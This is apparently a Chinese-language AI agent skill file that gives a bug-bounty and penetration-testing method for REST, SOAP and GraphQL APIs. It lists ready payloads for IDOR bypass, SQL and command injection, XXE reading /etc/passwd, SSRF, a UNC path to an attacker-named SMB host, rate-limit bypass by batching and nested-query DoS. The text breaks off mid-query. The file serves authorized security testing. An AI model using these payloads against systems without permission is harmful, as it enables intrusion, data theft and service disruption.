
关于
在漏洞赏金和渗透测试中测试 REST、SOAP 和 GraphQL API 的全面技术。涵盖漏洞发现、认证绕过、IDOR 利用和 API 特定攻击向量。
name: api-fuzzing-bug-bounty description: "提供在漏洞赏金猎人和渗透测试中测试 REST、SOAP 和 GraphQL API 的全面技术。涵盖漏洞发现、认证绕过、IDOR 利用和 API 特定攻击向量。" risk: offensive source: community author: zebbern date_added: "2026-02-27"
仅限授权使用:仅在授权安全评估、防御验证或受控教育环境中使用此技能。
API 模糊测试(漏洞赏金)
目的
提供在漏洞赏金猎人和渗透测试中测试 REST、SOAP 和 GraphQL API 的全面技术。涵盖漏洞发现、认证绕过、IDOR 利用和 API 特定攻击向量。
输入/前提条件
- Burp Suite 或类似代理工具
- API 字典(SecLists、api_wordlist)
- 理解 REST/GraphQL/SOAP 协议
- Python 用于脚本编写
- 目标 API 端点和文档(如果可用)
输出/交付物
- 已识别的 API 漏洞
- IDOR 利用证明
- 认证绕过技术
- SQL 注入点
- 未授权数据访问文档
API 类型概述
| 类型 | 协议 | 数据格式 | 结构 | |------|------|----------|------| | SOAP | HTTP | XML | Header + Body | | REST | HTTP | JSON/XML/URL | 定义的端点 | | GraphQL | HTTP | 自定义查询 | 单一端点 |
核心工作流
步骤 1:API 侦察
识别 API 类型并枚举端点:
# 检查 Swagger/OpenAPI 文档
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# 使用 Kiterunner 进行 API 发现
kr scan https://target.com -w routes-large.kite
# 从 Swagger 提取路径
python3 json2paths.py swagger.json
步骤 2:认证测试
# 测试不同的登录路径
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# 检查认证端点的速率限制
# 如果没有速率限制 → 可暴力破解
# 分别测试移动端和 Web API
# 不要假设相同的安全控制
步骤 3:IDOR 测试
不安全的直接对象引用是最常见的 API 漏洞:
# 基础 IDOR
GET /api/users/1234 → GET /api/users/1235
# 即使 ID 基于邮箱,也尝试数字
/?user_id=111 代替 /?user_id=user@mail.com
# 测试 /me/orders vs /user/654321/orders
IDOR 绕过技术:
# 将 ID 包装在数组中
{"id":111} → {"id":[111]}
# JSON 包装
{"id":111} → {"id":{"id":111}}
# 发送 ID 两次
URL?id=<LEGIT>&id=<VICTIM>
# 通配符注入
{"user_id":"*"}
# 参数污染
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
步骤 4:注入测试
JSON 中的 SQL 注入:
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → ERROR(存在漏洞!)
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
命令注入:
# Ruby on Rails
?url=Kernel#open → ?url=|ls
# Linux 命令注入
api.url.com/endpoint?name=file.txt;ls%20/
XXE 注入:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
通过 API 的 SSRF:
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>
.NET Path.Combine 漏洞:
# 如果 .NET 应用使用 Path.Combine(path_1, path_2)
# 测试路径遍历
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
步骤 5:方法测试
# 测试所有 HTTP 方法
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# 切换内容类型
Content-Type: application/json → application/xml
GraphQL 特定测试
内省查询
获取整个后端 Schema:
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
URL 编码版本:
/graphql?query={__schema{types{name,kind,description,fields{name}}}}
GraphQL IDOR
# 尝试访问其他用户 ID
query {
user(id: "OTHER_USER_ID") {
email
password
creditCard
}
}
GraphQL SQL/NoSQL 注入
mutation {
login(input: {
email: "test' or 1=1--"
password: "password"
}) {
success
jwt
}
}
速率限制绕过(批处理)
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
GraphQL DoS(嵌套查询)
query {
posts {
comments {
兼容工具
Claude CodeCursor
标签
后端开发
